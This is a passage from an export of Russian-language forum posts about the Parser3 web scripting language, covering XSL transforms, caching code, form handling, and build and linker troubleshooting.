]] [/code]парсер не обваливает, [color=red]$.offset(любое число)[/color] - и он падает."
"20888","если горит: дайте знать."
"20889","Прошу прощения, запутался..."
"20890","^rem{тут код, который выполнятся не будет!} Это ремарка, он же комментарий. RTFM"
"20893","Хочу видеть результаты, а он хочет чтоб я счётчик накрутил ;)"
"20894","Нупишу ка я в другие хостинги - я голосовал"
"20896","Во первых, это Last-Modif[i]i[/i]ed. А во вторых, всё равно не работает. Проверяю сообщение [url=./?id=18940]18940[/url] Mozill'ой, и такого заголовка там вроде нет."
"20897","У меня такая проблема...\
\
\
@auto[] \
$connect_string[mysql://root@localhost/baza] \
\
@pop[]\
^connect[$connect_string]{ \
$pokaz[^table::sql{select * from tovar}]}\
^pokaz.menu{<form> \
\
<input type=\"text\" name=\"\" value=\"$pokaz.cena\"> \
\
<input type=\"submit\" value=\"Исправить\">\
</form> \
############\
Считал с базы допустим 50 строк\
как мне сделать так чтоб при нажатии на кнопку открылось новое окно именно с этой строкой (по коду понятно что я имею в виду)??\
Я в тупике ......"
"20898","Народ, есть вопросик. Как без фреймов сделать header неподвижным?\
Ну, чтобы если у меня много текста, то при пролистывании хидер оставался на своем месте."
"20899","когда активного опроса не будет - будет все пучком ;)"
"20901","Все надписи типа:\
\
команды форматирования\
форум\
[ Свои треды | Настройки | Завершить работу ]\
Написать ответ на текущее сообщение\
Строка поиска:\
искать в тексте сообщения\
Фильтровать по автору:\
Top 10 писателей\
Последние сообщения [треды]\
Фильтр сообщений\
\
E-mail\
Copyright\
Студия Артемия Лебедева\
\
+ всё меню навигации\
\
надо было так и оставлять рубленым шрифтом."
"20902","Если честно, то не совсем понятно...\
Если ты хочешь по клику на кнопке открывать окно с этим товаром, то вот так примерно:\
[code]\
^tovar.menu{\
<input name=price value=\"$tovar.cena\">\
<input type=button onclick=\"window.open('page.html?number=$pokaz.id')\" value=\"Исправить\">\
}\
[/code]\
___________\
[b]page.html[/b]\
\
[code]$tovar[^table::sql{select * from tovar where id='$form:number'}][/code]\
\
Ну а дальше твори с ними чего захочешь..."
"20903","И это хорошо. Те кто до сих пор думает, что шрифт в их браузере — шрифт парсер.ру, посмотрите, наконец, [url=\"http://www.parser.ru/main.css\"]парсеровскую css[/url] ;)"
"20904","Я не думаю, что среднестатистический работник бухгалтерии сможет это сделать."
"20905","Из него и должен шифроваться пароль. А если нет, что правильно?"
"20908","Намекните что-ли… пожалуйста."
"20909","вам миша привёл пример, вы его попробовали?"
"20910","1) здесь форум по серверным скриптам PARSER\
2) в виде ответа: \"скользящий слой\" типа рекламы e-shop Bolero & et c., у Eugene Spearance было что-то подобное на одном из сайтов, мне понравилась реализация. спишись, может поможет."
"20911","строка ^MAIN:pSQL.left_join[…] это бессмыслица. Вместо многоточия что-то нужное должно быть написанно. Что известно одному аллаху :)."
"20912","В общем проблема такая: Загружаем картинку, выполняем какие-либо действия, отдаем через $response:body. Если картинка лежит на локальном сервере, то все нормально, если на удаленном - выдает \"Internal Server Error\". На Parser 3.0 все работало отлично, проблемы начались с переходом на версию 3.1\
\
Подскажите пожалуйста из-за чего ошибка и что можно сделать?"
"20914","Почитал FAQ, проверил: executable-бит установлен, версия какая надо (FreeBSD). Я так понимаю, рассмотрен случай, когда совсем ничего не работает, в моем случае, отвалилось только это (по крайней мере то что я заметил), все остальное работает прекрасно."
"20916","как раз ваш"
"20918","Хочу сделать чтобы по ссылке:\
http://www.server.ru/product.html?current_folder=ID13903\
выводилась страница с данными по товарам в папке \"ID13903\"\
\
Можно ли как-нибудь в XSL вставить переменную current_folder ?\
\
Текущий вариант скриптов:\
\
product.html\
\
$sourceDoc[^xdoc::load[../_xml/catalog.xml]] \
$transformedDoc[^sourceDoc.transform[../_xsl/modul/product.xsl]] \
^transformedDoc.string[ \
    $.method[html] \
]\
\
product.xsl\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
\
<xsl:template match=\"Group\"> \
	<br /> - {form:current_folder}\
</xsl:template> \
\
</xsl:stylesheet>"
"20919","как можно:\
согласно [url=\"/docs/lang/xdoctransform.htm\"]документации[/url] оттрансформить можно xdoc не только с помощью статического шаблона, но и с помощью другого xdoc документа. загрузите текст этого документа, измените его (match, replace), создайте из него объект xdoc и оттансформьте им.\
\
о кешировании шаблона забудьте.\
\
почему я считаю, что так нелать не надо:\
шаблон - это ШАБЛОН. не надо выносить в него данные. если вам нужно в страницу поместить дополнительные данные - выдайте их в xml и измените шаблон так, чтобы эти данные попали в нужное место результирующего html документа.\
\
еще вариант помещения нужных вам вещей в html документ после трансформации. есть @postproces[] в нем вы можете изменить уже почти готовый к выдачи документ.\
\
например я иногда делаю так:\
в @postprocess[] я ищу конструкции [parser]тут парсерный код[/parser] и процесю их. \
\
достоинство:\
- можно закешировать страницу, а что-то в нее втыкать после кеша (например я это делаю для втыкания банеров)\
\
недостаток:\
- process. если их много, это медленно.\
\
для решения упоминаемой задачи последний вариант использовать не стОит."
"20920","...вот только не совсем понятно как им пользоваться.\
\
Согласно документации в шаблон можно передать необходимые \"XSL-параметры\", ^документ.transform[шаблон][[b]вот тут[/b]], и, как я понимаю, использовать их в последствии в шаблоне через <xsl:param, но синтаксис передачи параметров таким способом в документации описан недостаточно хорошо. А было-бы полезно увидеть пример вызова ^документ.transform с этими самыми \"XSL-параметрами\"."
"20921","Когда будет выпущен subj. с исправленными багами в части скорости replace, а главное, ^cache?\
\
Давно бы сменил парсерную dll'ку на новую, да вот без ^cache сервак умрёт мигом..."
"20922","Сначала определяем параметры как хэш.\
[code]^doc.transform[шаблон][\
    $.param1[value1]\
    $.param2[value2]\
][/code]\
А потом в нужном темплейте просто объявляем их и юзаем:\
[code]<xsl:template ...>\
    <xsl:param name=\"param1\" />\
    <xsl:param name=\"param2\" />\
    <xsl:value-of select=\"concat($param1,' - ',$param2)\" />\
</xsl:template>[/code]\
Вернется строчка \"value1 - value2\".\
\
Да, не забываем - эти параметры - строки, т.е. если значение будет типа \"//node/@aatrib\", то эта строка и получится в результате, а не значение XPath-выражение, как могло бы показаться по внешнему виду."
"20923","точнее не в нужном месте, а сверху, вне всех <xsl:template"
"20924","до части пока не доходят руки.\
к сожалению, прямо сейчас очень занят другим.\
\
возможно, у кого есть время поотлаживать — вроде относительно локальная проблема?"
"20925","Чувствовал, что обманываю, но не мог понять - где именно ;-)"
"20926","Выдает\
/auto.p(23:2): 'MAIN' method_frame may not be overwritten with table table, use constructor [parser.runtime]\
Хотя на тестотвой иашине все ОК и не могу найти в чем прикол"
"20927","http://www.parser.ru/forum/?id=20625\
\
и ещё тогда я вам ответил\
\
http://www.parser.ru/forum/?id=20664\
\
И всё равно, меню навигации, короткие надписи в левой колонке и т.п. отлично смотрелись рубленым шрифтом."
"20929","когда на mailbox@ пожелания по смене шрифта мне казалось, что недовольных шрифтом по умолчанию много.\
\
однако куча криков после смены шрифта и проведенный опрос показал, что это не так. большинство хотело вернуть все как было (причем это большинство оккупирует top10)\
\
поэтому все вернул как было: шрифты в стилях не указаны."
"20930","Раз большинство выбрало, чтоб был Таймс, так пускай будет Таймс.\
\
Мне хотелось бы, чтоб всё, что я перечислил здесь \
http://www.parser.ru/forum/?id=20901\
отображалось рубленым шрифтом.\
\
Вот и всё :-)"
"20931","[code]^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id][/code]\
\
А вообще полный код\
[code]\
@auto[] \
$connect_string[mysql://root@localhost/forum]\
\
@getMessageById[id]\
$result[^table::sql{\
		SELECT\
			forum_message.forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.body\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
			forum_message.forum_message_id = ^id.int(0) AND\
			is_published = 1\
}]\
\
@getMessagesByParent[parent_id;limit]\
$result[^table::sql{\
		SELECT\
			forum_message.forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.forum_message_id AS is_not_empty\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
			^if(def $parent_id){parent_id = ^parent_id.int(0) AND}\
			is_published = 1\
		ORDER BY\
			dt_published\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
\
@getMessagesByThread[thread]\
$result[^table::sql{\
		SELECT\
			forum_message.forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.forum_message_id AS is_not_empty\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
			^if($thread is table){\
				^if($thread){thread_id IN (^thread.menu{$thread.thread_id}[,]) AND}\
			}{\
				thread_id = ^thread.int(0) AND\
			}\
			is_published = 1\
		ORDER BY\
			dt_published DESC\
}]\
\
@printMessagesByParent[messages;parent_id][levelmessages]\
$levelmessages[^messages.select($messages.parent_id == $parent_id)]\
^levelmessages.menu{\
	^printTreeItem[$levelmessages.fields;^printMessagesByParent[$messages;$levelmessages.forum_message_id]]\
}\
\
@printTreeItem[message;body]\
$result[<tree-item id=\"$message.forum_message_id\" date=\"$message.dt_published\" is-empty=\"^if($message.is_not_empty){0}{1}\">\
	<title>$message.title</title>\
	<author>$message.author</author>\
	<email>$message.email</email>\
	$body\
</tree-item>]\
\
@main[]\
# достаем не более 20 корневых сообщений (parent_id == 0)\
$rootMessages[^getMessagesByParent[0;20]]\
# достаем все сообщения в тредах, которые мы только что достали\
$messages[^getMessagesByThread[$rootMessages]]\
# собственно выводим все данные о сообщениях в виде дерева\
^printMessagesByParent[$messages;0]\
[/code]"
"20932","[code]\
$request[$request:uri]\
$qs[$request:query]\
\
$default_cache_time(3600)\
\
^if(\
	$env:REQUEST_METHOD eq \"POST\"\
	|| ^env:REMOTE_ADDR.match[^^192\\.168][]\
){\
	$is_disable_cache(1)\
}{\
	$is_disable_cache(0)\
}\
\
^if($is_disable_cache){\
	$cache_time(0)\
	$cache_key[dummy]\
}{\
\
	$cache_time(^cache_time.int($default_cache_time))\
\
	$qrepl[^table::create[nameless]{?	&&^#0Atemp=aaa	&&}]\
\
	$qs[^qs.replace[$qrepl]]\
	$qs[^qs.match[&{2,}][g]{}]\
\
	$uri_parts[^request.split[?][hl]]\
\
	$cache_key[$uri_parts.0^if(def $qs){$t[^math:crypt[$qs;^$apr1^$]]$t[^t.match[[/\\\\.]][g]{_}]^taint[^t.mid(8)]}_${MAIN:platform}_$MAIN:browser]\
}\
\
@my_cache[body][cacheFile]\
$MAIN:wrongCache(0)\
$cacheFile[$DB_HOME/$cache_key]\
^cache[$cacheFile]($cache_time){\
	$body\
}\
^if($MAIN:wrongCache && -f $cacheFile){\
	^file:delete[$cacheFile]\
}\
\
@location[target_url]\
$MAIN:wrongCache(1)\
$response:location[$target_url]\
\
@main[]\
^my_cache{\
	^header[] \
	^body[] \
	^footer[] \
}\
[/code]\
\
Прошу высказать комментарии. Что плохо, что не так? …"
"20934","[code]\
^math:md5[$form[color=\"red\"].[/color]password]\
\
^math:md5[$form[color=\"red\"]:[/color]password]\
[/code]"
"20935","лично я дальше ваши вопросы игнорирую. \
\
зачем на них отвечать мне, если ответы вы не читаете?"
"20936","Приветствую\
\
Есть проблемка с parser3isapi.dll (версия от 24.07.2003 с поддержкой XML)\
Подозреваю, что руки кривые, но заточить пока не удалось\
\
\
Проблема состоит в том, что через некоторое время после первого обращения к Парсеру весь сервис w3svc вешается вглухую. Приходится его перестартовывть. После рестарта некоторое время работаент нормально. Зависимости от нагрузки обнаружить не удалось, похоже вешается просто через некоторый интервал времени (минут 10). От использования баз не зависит. Есть какая-то неуловимая зависимость от манипуляций с файлом auto.p (но даже если его не трогать - все равно вешается, зараза)\
Если использовать в качестве isapi-фильтра parser3.exe - проблем не возникает.\
Чего бы такого подкрутить, чтобы работало постабильнее?\
\
Система: W2kSP3 (и сервер и рабочая станция, симптомы одинаковы)\
Память вроде как не протекает (по крайней мере явно не заметно), утилизация процессора практически нулевая (в том числе при зависании сервиса).\
\
Спасибо\
\
PS: м-да... на IISе без бубна никуда :о\\"
"20938","....почему же тогда на 3.0 все работало, ничего ведь не менял?!"
"20939","Я уже хотел извращаться с заменой в исходном XML-е нужных идентификаторов (напр. ID13903) на какое-нить придуманное мной слово (напр. FOLDER). А в XSL-е проверять <xsl:if-ом...\
\
Но Ваш способ выглядит более ПРАВИЛЬНЫМ, его и попробую."
"20941","а вы меняли… parser :)"
"20942","или CVS 3.1?"
"20943","сначала Medium, если поможет мало, в High.\
IIS попробует сам перестартовывать погибающее.\
\
я опасаюсь, что там на самом деле, несмотря на всё моё противодействие, как-то сумело вылезти какое-нибудь противное окошко с вопросом, которое, понятно, увидеть нельзя, поскольку IIS service не взаимодействует с Desktop.\
\
если будет продолжать виснуть, верните AppProtection на Low, и поправьте настройки service, чтобы он [b]мог[/b] взаимодействовать с Desktop: так вы увидите возможные окошки с ошибками."
"20945","если она аналог 3.1 могу попробовать. win32 и win32xml от 3.1 пойдут для сборки HEAD? и те же версии xml библиотек что используются в 3.1 пойдут для сборки HEAD по юникс?"
"20946","Я сморю вы уже перешли на VS .NET - Я пытаюсь открыть файл .sln а мне говорят что он не является валидным файлом проекта :("
"20948","а работать в двух разных версиях VS одновременно надоело."
"20949","Однако у меня проблема - у вас видать VS .NET 2003 у меня нет :( у меня тот что первый. Александр, а вы не знаете способа конвертнуть файлы проекта из .NET 2003 в .NET 2002? я попробовал ручками поставить версию 7.0 вместо 8.0, у меня открылось, однако он не смог загрузить файлы .vcproj - их тоже руками править?"
"20950","на первый вгляд: там не могло много поменяться."
"20951","Подскажите как лучше сделать.Задача: необходимо сформировать XSL средствами парсера.\
Пробовал:\
1) $PropertyData_XSL[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
   <xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"/>}]\
   $XSL_Template[^PropertyData_XSL.createElement[xsl:template]]    \
   ^XSL_Template.setAttribute[match;property]\
   $tmp[^XSL_Template.appendChild[$XSL_Choose]]\
   $tmp[^PropertyData_XSL.documentElement.appendChild[$XSL_Template]]\
затем трансформирую через этот шаблон xml документ, документ трансформируется если сначала $PropertyData_XSL будет записан в файл, а затем загружен заново, без этой доп. операции, т.е. если сделать трансформацию сразу, то говорит, что \"'transform' Found a top-level element xsl:template with null namespace URI| [xml] \", т.е. не найден xsl:template узел, как я понял.\
2) $PropertyData_XSL[^xdoc::create[xsl:stylesheet]]    \
    ^PropertyData_XSL.documentElement.setAttribute[xmlns:xsl;http://www.w3.org/1999/XSL/Transform] \
    ^PropertyData_XSL.documentElement.setAttribute[version;1.0] \
    $XSL_Template[^PropertyData_XSL.createElement[xsl:template]]    \
    ^XSL_Template.setAttribute[match;property]\
    ...\
В этом случае не может создать узел, xsl:stylesheet, если ставлю просто xsl, то все нормально, но мне это не подходит :(\
Господа как можно разрешить эти проблемы, может быть есть какое-либо другое решение?"
"20952","Всё подключилось, кроме чего-то в модуле Apache, начало собираться, и вылетело на этапе linking с кучей подобных\
\
parser3.obj : error LNK2019: unresolved external symbol __imp__GC_malloc_atomic referenced in function \"void * __cdecl pa_gc_malloc_atomic(unsigned int)\" (?pa_gc_malloc_atomic@@YAPAXI@Z)\
\
вообщем тестирование не удалось :( жаль."
"20953","не стоит использовать вообще, - лучше подумать получше над задачей и изменить кое-что в архитектуре, чем пытаться положить с прибором на кэширование шаблонов например, если пользуетесь модулем или ISAPI.\
\
Миша тут недавно об этом писал."
"20954","в pa_global есть ссылка на gc.lib, очевидно, она у вас или не выкачана, или положена не в тот каталог."
"20955","библиотека gc.lib имеется, лежит и в win32/gc/Release и win32/gc/Debug"
"20956","Очень похоже что надо всё-таки VS .NET 2003 ибо проверил сборку SQL драйверов, там та же фигня с linking, хотя все библиотеки на месте.\
\
А VS .NET 2003 у меня нет, и будет очевидно нескоро :("
"20957","\"проверить\" значит посмотреть в pa_globals, и проверить, что .lib лежит там, где pa_globals её ожидает увидеть.\
\
если всё доставать из cvs в один рабочий каталог \\parser3project, всё будет в порядке."
"20958",".lib формат не менялся лет пятьсот..."
"20959","в pa_globals.c такое\
[code]\
#ifndef PA_DEBUG_DISABLE_GC\
#	define GC_LIB \"../../../../win32/gc\"\
#	ifdef _DEBUG\
#		pragma comment(lib, GC_LIB \"/Debug/gc.lib\")\
#	else\
#		pragma comment(lib, GC_LIB \"/Release/gc.lib\")\
#	endif\
\
#endif\
[/code]\
Как мне кажется парсер пытается искать библиотеку в win32/gc находящемся в parser3project который в свою очередь должен находится в корне диска - эти условия соблюдены.\
\
Все из cvs доставал в один рабочий каталог \\parser3project как и прежде"
"20960","для SQL драйвера не знаю какая либа нужна :) для gc есть и gc.lib и gc.dll и для debug и для release"
"20961","я этот gc.lib собирал ещё в VC6."
"20962","компоновщик что ругает?"
"20963","просит вот чего:\
\
Linking...\
   Creating library .\\Release/parser3pgsql.lib and object .\\Release/parser3pgsql.exp\
parser3pgsql.obj : error LNK2019: unresolved external symbol _lt_dlsym referenced in function \"private: char const * __thiscall PgSQL_Driver::dlink(char const *)\" (?dlink@PgSQL_Driver@@AAEPBDPBD@Z)\
parser3pgsql.obj : error LNK2019: unresolved external symbol _lt_dlopen referenced in function \"private: char const * __thiscall PgSQL_Driver::dlink(char const *)\" (?dlink@PgSQL_Driver@@AAEPBDPBD@Z)\
parser3pgsql.obj : error LNK2019: unresolved external symbol _lt_dlerror referenced in function \"private: char const * __thiscall PgSQL_Driver::dlink(char const *)\" (?dlink@PgSQL_Driver@@AAEPBDPBD@Z)\
parser3pgsql.obj : error LNK2019: unresolved external symbol _lt_dlinit referenced in function \"private: char const * __thiscall PgSQL_Driver::dlink(char const *)\" (?dlink@PgSQL_Driver@@AAEPBDPBD@Z)\
.\\Release/parser3pgsql.dll : fatal error LNK1120: 4 unresolved externals"
"20964","А без них - никак.\
В libgdome они есть, посему, если желающих их пользовать наберется - PAF может это реализовать. Пока же это стоит (стоит ли? ;-)) в далеком TODO за ненадобностью.\
\
Я обходил это так:\
Создавал руками документ с нужным NS и нужными пустыми тэгами. Разбирал этот документ в хэш вида:\
[code]$NSnodes[\
    $.import[объект типа xnode, в котором лежит нода <xsl:import />]\
    $.variable[объект типа xnode, в котором лежит нода <xsl:variable />]\
    ...\
][/code]\
Потом брал нужную, подтыкал обычным setAttribute нужны аттрибуты и инсертил/аппендил в нужный мне xdoc.\
\
Вариант, ясно дело, не лучший."
"20965","каждый драйвер, это sln + [b]два[/b]vcproj.\
вы загрузили один vcproj."
"20966","сто[b]и[/b]т, и в недалёком, как easytoimplement."
"20967","сгрузил полностью\
\
parser3\
sql\
win32\
\
win32xml оставил пока старым. Что-то ещё?"
"20968","Там же кроме copy-paste почти ничего и не надо..."
"20969","... вместо crypt + macth лучше использовать md5\
... @location лучше переделать, т.к. теперь есть ^cache(0), и это есть в моих комментариях к примеру"
"20970","Хачить xnode.c так?:\
[code]\
// Attr getAttributeNodeNS(in DOMString name);\
static void _getAttributeNodeNS(Request& r, MethodParams& params) {\
	GdomeElement* element=get_self_element(r);\
	const String& name=params.as_string(0, \"name must be string\");\
\
	GdomeException exc;\
	if(GdomeAttr *attr=gdome_el_getAttributeNodeNS(element, \
		r.transcode(name).use(), &exc)) {\
		// write out result\
		r.write_no_lang(*new VXnode(&r.charsets, (GdomeNode* )attr));\
	} else if(exc)\
		throw Exception(\
			0, \
			exc);\
}\
[/code]\
\
И далее:\
\
[code]\
// Attr getAttributeNodeNS(in DOMString name);\
add_native_method(\"getAttributeNodeNS\", Method::CT_DYNAMIC, _getAttributeNodeNS, 1, 1);\
[/code]"
"20971","у gdome_el_getAttributeNodeNS есть ещё и GdomeDOMString *namespaceURI т.е. 4-й параметр\
\
поэтому поколдовать надо побольше."
"20972","И колдовать нечего ;-)\
[code]const String& namespaceURI=params.as_string(0, \"namespaceURI must be string\");\
const String& name=params.as_string(1, \"name must be string\");[/code]\
Их и попихать...\
\
Главное не забыть:\
[code]add_native_method(\"getAttributeNodeNS\", Method::CT_DYNAMIC, _getAttributeNodeNS, [color=\"red\"]2[/color], [color=\"red\"]2[/color]);[/code]\
Иначе - method of xnode accepts maximum 1 parameter ;-)"
"20974","Ща будем проверять и другие штуки туда пихать. Кому нада, - это по великому блату :)"
"20975","там ещё есть bin и win32xml - но они то для сборки драйвера не нужны надеюсь?"
"20976","Результат строки id=1&id=2&id=3&id=4\
не могу обработать\
^form[id] Выдает только первое id"
"20978","Щас доделаю все остальные штуки с NS, соберу, попробую запустить и вам пошлю xdoc.c и xnode.c по почте"
"20979","http://parser2.parser.ru/docs/#3-8-6"
"20980","Есть таблица, которую я хочу преобразовать в хеш. Причем ни одно из полей, имеющихся в таблице, в роли ключа хеша меня не устраивает.\
В документации сказано следующее:\
[quote]\
^таблица.hash[ключ] \
^таблица.hash[ключ][опции] \
^таблица.hash[ключ][столбец значений] \
^таблица.hash[ключ][столбец значений][опции] \
^таблица.hash[ключ][таблица со столбцами значений] \
^таблица.hash[ключ][таблица со столбцами значений][опции] \
\
Ключ может быть задан, как: \
- [строка] - название столбца, значение которого считается ключом;  \
- {код} - результат исполнения которого считается ключом;\
- (математическое выражение) - результат вычисления которого считается ключом.  \
[/quote]\
К сожалению в документации нет примера когда ключ определяется в виде [b]{кода}[/b] или [b](математическое выражения)[/b], а посему вопрос как это использовать? Так как код:\
[code]\
$var(0)\
$my_hash[^my_table.hash[^var.inc[1]]]\
[/code]\
вызовет ошибку \"duplicate key\""
"20981","зато есть тут:\
http://www.parser.ru/docs/lang/tablesort.htm"
"20984","[code]\
^ifdef[^form[id];\
	^macro[server;\
		^context[link;\
			^var[i;0]\
			^var[f;^optioncount[^combine[id]]]\
			^lsplit[^combine[id];|]\
			^while[i<f;\
				^sql[delete from forum where id=^item[^var[i]]]\
				^var[i;+;1]\
			]\
			^header[location;./^ifdef[^form[start];?start=^form[start];]]\
		]\
	]\
]\
[/code]\
вроде этим я удалял ненужные сообщения в форуме, если я правильно всё помню (года два назад дело было)."
"20985","в случае, когда парсер конструирует хеш из таблицы или при запросе и вдруг оказывается, что получаются одинаковые ключи - он ругается.\
\
чтобы отключить эту ругань - есть опции (в документации)\
\
далее, ваш код использует неверные скобки. квадратные скобки (которые вы используете) означают, что сначала выполнится код заключенный в них, а потом результат этого передается в функцию. т.е. для вашего случая нужны не квадратные скобки, а круглые или фигурные.\
\
едем дальше... запись ^var.inc[1] означает: берем содержимое переменной $var и прибавляем к ней 1. результат остается в $var. т.е. для вашего случая такая запись тоже не подходит, вам нужно, чтобы функция, которую вы записали в фигурных скобках для каждой строки таблицы выдала [b]строку/число[/b] которое и будет ключем хеша.\
\
резюмируя все сказанное можно написать код, который будет делать то, что вы планировали (если я верно прочел мысли):\
[code]\
$var(0)\
$my_hash[^my_table.hash{$var^var.inc(1)}[$.distinct(1)]]\
[/code]\
\
в данном случае distinct не нужен, т.к. все ключи у нас будут уникальными...\
\
P.S. если вы хотите сделать хеш, где его ключи - номера строк таблицы, то лучше оспользуйтесь не извращениями с $var, а методом, который [url=\"http://www.parser.ru/forum/?id=20982\"]предложил[/url] Luzhnikovskiy"
"20988","Наверно очень дурацкий вопрос,но может кто нить мне поможет!\
Я пытаюсь подключить драйверы libparser3mysql.so но парсер дает ошибку и пишет в лог:\
\
/home/www/docs/news/auto.p(127:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>]\
\
Сервер стоит на Linux SuSe, cgi скрипт брал для Redhat, но вообще он работает во всем, что не касается mysql\
\
parser3.cgi лежит в /home/www/cgi/parser3/parser3.cgi\
libparser3mysql.so лежит /home/www/cgi/parser3/lib/libparser3mysql.so\
\
Как мне всеже подключить mysql?"
"20989","так например можно найти [url=\"/forum/?id=10092\"]это[/url]"
"20991","На www.net.ru все еще стоит FreeBSD 4.7 А новые версии Парсера уже для 4.8 Пробовал http://www.parser.ru/f/1/download/freebsd/parser3_1_0_freebsd47R_cgi.tar.gz --- не вышло. Если кто сам успел скомпилировать, поделитесь, а?"
"20993","Есть форма. Когда ее значения попадают на страницу обработки, ее необходимо проверить на непустоту. Можно ли сделать следующим образом:\
\
^if((def $form:field1) AND (def $form:field2) AND (def $form:field3)){форма вся заполнена}{есть пустые поля}\
\
если такой вот вариант годится, то что синтаксически писать вместо AND (т.е. ясен ёж логическое И). Если так нельзя, то как можно?? Спасибо."
"20994","^if(def $form:field1 && def $form:field2 && def $form:field3){\
Заполнены\
}{\
Нет\
}\
\
[color=\"red\"]&&[/color] как раз и есть логическое И."
"20996","Там код измененный. Т.е. я удалил чуть-чуть.\
\
\"macth\" это match или math?\
\
Насчет ^cache(0). Это иммеется ввиду:\
\
[code]\
^try{^cache(0)}{$exception.handled(1)}\
[/code]\
\
?"
"20997","Просто не понятно пока."
"20998","тут\
http://www.parser.ru/forum/?id=20934\
\
вы уже извинялись, что всем морочили голову и неправильно привели свой код\
http://www.parser.ru/forum/?id=20881\
\
и уже давно у вас всё работает, только явно вы нигде этого не сказали."
"21000","писал это в письме, вы немного недочитали.\
\
ваша задача: открыть .sln, который откроет два .vcproj, один из vcproj, и создаст маленькую .lib, которая подключится к другому, и осчастливит компоновщика."
"21001","Кстати абсалютно пофигу, на какой 4.x версии собирается парсер для FreeBSD - у меня в офлайне 4.5 и у меня бинарики Студии, те что собраны на 4.8 работают.\
\
Дело в отсутствии на хостинге необходимых библиотек, типа libgcc++.so.5 и тому подобных.\
\
Лирическое отступление: Для версии 3.0.8 под солярис, нужны пара библиотек, которых нет в стандартной поставке и которые ставятся или с gcc-3.x или c libgcc-3.x и на пару из них нужно сделать симлинк в системный каталог и библиотеками."
"21002","Есть такой XSL (см. ниже).\
Он рабочий, но вижу, что надо как-то рекурсией сделать и все будет очень просто.\
\
[code]count(ancestor::Группа)[/code] использовать не получается, т.к. в XML идет логическая привязка по кодам @Идентификатор->@Родитель и все строки XML получаются на одном уровне.\
\
[code]\
<xsl:template match=\"Группа\">\
 <xsl:if test=\"@Родитель=$ТекущаяПапка\">\
  <DIV STYLE=\"padding-left: 0em\"><xsl:apply-templates select=\"@Наименование\" /></DIV>\
  <xsl:variable name=\"Уровень_2\" select=\"@Идентификатор\" />\
  <xsl:for-each select=\"//Группа\">\
   <xsl:if test=\"@Родитель=$Уровень_2\">\
    <DIV STYLE=\"padding-left: 1em\"><xsl:apply-templates select=\"@Наименование\" /></DIV>\
    <xsl:variable name=\"Уровень_3\" select=\"@Идентификатор\" />\
    <xsl:for-each select=\"//Группа\">\
     <xsl:if test=\"@Родитель=$Уровень_3\">\
      <DIV STYLE=\"padding-left: 2em\"><xsl:apply-templates select=\"@Наименование\" /></DIV>\
      <xsl:variable name=\"Уровень_4\" select=\"@Идентификатор\" />\
      ...\
     </xsl:if>\
    </xsl:for-each>\
   </xsl:if>\
  </xsl:for-each>\
</xsl:if>\
</xsl:template> \
[/code]"
"21003","Просмотрел свои треды и обнаружил среди прочи ответов такой:\
\"Re: re ТЕПЕРЬ ОШИБКУ ПИШЕТ)\"\
Адрес: http://www.parser.ru/forum/?id=17437\
\
Но тема выделена курсивом и вместо <li type=disc> стоит <li type=circle>\
\
А при переходе к этой теме, 404 ошибка\
\
Вопрос, как такое может быть?\
Куда она подевалась, или откуда она взялдась :))"
"21004","Очень похоже (по логу сделанному сегодня), что все версии 3.1 для юникса, которые я собирал, уже работают с кэшированием.\
\
Кроме того, выложил последюю HEAD версию для FreeBSD на бета-тестирование так сказать."
"21005","Сообщение, которое выделено италиком, было удалено кем-то из админов.\
Почему оно показывается - это вопрос... Миша посмотрит и поправит."
"21006","...слабочитаемому коду привести структуру XML - ответа пришлось бы ждать меньше."
"21007","Он вчера дописал в него NS-функции. Кажется, даже отправил PAF'у. В ближайшее время должно появиться в CVS HEAD - можно будет взять и собрать. И тогда генерить нормальным образом, а не через хаки..."
"21008","сами знаете где брать, ежели чего. Для виндов тоже есть правда не в открытом доступе и только CGI вариант:)"
"21010","Несущественные атрибуты опущены\
\
[code]\
<Каталог Наименование=\"ДСТ\">\
 <Группа Идентификатор=\"ID00000039\" Наименование=\"Тракторы\" Родитель=\"ID00000003\" />\
 <Группа Идентификатор=\"ID00000040\" Наименование=\"с гусеницами\" Родитель=\"ID00000039\" />\
 <Группа Идентификатор=\"ID00000040\" Наименование=\"с колесиками\" Родитель=\"ID00000039\" />\
 <Группа Идентификатор=\"ID00000041\" Наименование=\"Бульдозеры\" Родитель=\"ID00000003\" />\
</Каталог>\
[/code]\
\
Хочу из этого получить:\
[code]\
Тракторы\
   с гусеницами\
   с колесиками\
Бульдозеры\
[/code]"
"21011","Типа так:\
[code]<xsl:template match=\"Каталог\">\
    <xsl:apply-templates select=\"Группа[@Родитель = 'Значение родителя верхнего уровня']\" />\
</xsl:template>\
\
<xsl:template match=\"Группа\">\
    <xsl:varable name=\"id\" select=\"@Идентификатор\">\
    <xsl:value-of select=\"Наименование\" />\
    <div-с-отступом>\
        <xsl:apply-templates select=\"parent::Каталог/Группа[@Родитель = $id]\" />\
    </div-с-отступом>\
</xsl:template>[/code]"
